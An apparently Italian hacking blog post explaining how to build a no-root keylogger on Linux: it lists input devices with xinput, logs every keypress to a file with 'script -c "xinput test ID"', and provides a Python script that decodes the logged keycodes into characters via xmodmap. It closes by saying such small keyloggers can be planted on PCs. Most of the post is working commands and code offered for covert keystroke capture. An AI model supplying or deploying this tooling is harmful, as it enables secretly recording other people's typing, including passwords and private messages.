[Linux] Xinput Simple keylogger :D :D :D
Così per caso ho scoperto che xinput permette di testare i dispositivi di input ;)
Per visualizzare i dispositivi di input nel nostro sistema linux basta digitare:
xinput --list
Un esempio di output:
[clshack@clshackArch ~]$ xinput --list
⎡ Virtual core pointer id=2 [master pointer (3)]
⎜ ↳ Virtual core XTEST pointer id=4 [slave pointer (2)]
⎜ ↳ PS/2 Logitech Wheel Mouse id=13 [slave pointer (2)]
⎜ ↳ USB OPTICAL MOUSE id=14 [slave pointer (2)]
⎣ Virtual core keyboard id=3 [master keyboard (2)]
↳ Virtual core XTEST keyboard id=5 [slave keyboard (3)]
↳ Power Button id=6 [slave keyboard (3)]
↳ Video Bus id=7 [slave keyboard (3)]
↳ Video Bus id=8 [slave keyboard (3)]
↳ Sleep Button id=9 [slave keyboard (3)]
↳ USB 2.0 Camera id=10 [slave keyboard (3)]
↳ Asus WMI hotkeys id=11 [slave keyboard (3)]
↳ AT Translated Set 2 keyboard id=12 [slave keyboard (3)]
La tastiera nel mio caso è l’id 12.
Da quello che ho potuto notare su diversi pc è che è sempre l’id maggiore.
Xinput è viene installato con xorg e non ha bisogno di privilegi root per essere utilizzato.
Proprio qui sta la stronzata.
Per testare un dispositivo digitiamo:
xinput test ID
Es:
xinput test 12
Ora scrivendo OVUNQUE nel terminale vedremo comparire:
key release 36
key press 39
....
Per registrare i tasti su un piccolo file di output possiamo digitare:
script -c "xinput test ID" | cat > key.log
Nel nostro file di log(key.log) avremo tutti i numeri dei tasti premuti.
La decodifica è molto semplice.
Per vedere a cosa corrispondono i numeri, basta digitare:
xmodmap -pke
Es di output:
keycode 38 = a A a A ae AE ae
keycode 39 = s S s S ssharp section ssharp
keycode 40 = d D d D eth ETH eth
keycode 41 = f F f F dstroke ordfeminine dstroke
keycode 42 = g G g G eng ENG eng
keycode 43 = h H h H hstroke Hstroke hstroke
keycode 44 = j J j J j J j
Facendo un piccolo script in python possiamo decodificare facilmente questo codice ;)
import re, collections, sys
from subprocess import *
def keyMap():
table = Popen("xmodmap -pke", shell=True, bufsize=1, stdout=PIPE).stdout
key = []
for line in table:
m = re.match('keycode +(\d+) = (.+)', line.decode())
if m and m.groups()[1]:
key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])
return key
def printV(letter):
key=keyMap();
for i in key:
if str(letter) == i.split("_____")[1]:
return i.split("_____")[0]
return letter
if len(sys.argv) < 2:
print "Usage: %s FILE" % sys.argv[0];
exit();
else:
f = open(sys.argv[1])
lines = f.readlines()
f.close()
for line in lines:
m = re.match('key press +(\d+)', line)
if m:
keycode = m.groups()[0]
print (printV(keycode))
Possiamo eseguire questo script con:
python NAME.py key.log
L’output sarà più o meno leggibile XD
c a z z o space
Ora dimostrato che xinput può registrare i tasti e non ha bisogno di essere root per essere eseguito, possiamo in poche inserire dei piccoli keylogger nei pc :D
Related posts:
- Attack with XSS [keylogger,form-autocomplete grabber] POST/GET :)
- [JAVA] Simple GUI CALC
- UBUNTU/DEBIAN KEYLOGGER :D
- DEFT Linux for Computer Forensic
This entry was posted on Friday, November 18th, 2011 at 5:15 pm and is filed under Hacking, Programming. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.
Tagged with: linux • python







Pingback: CLSHACK – Simple keylogger with xinput « Goats Uncovered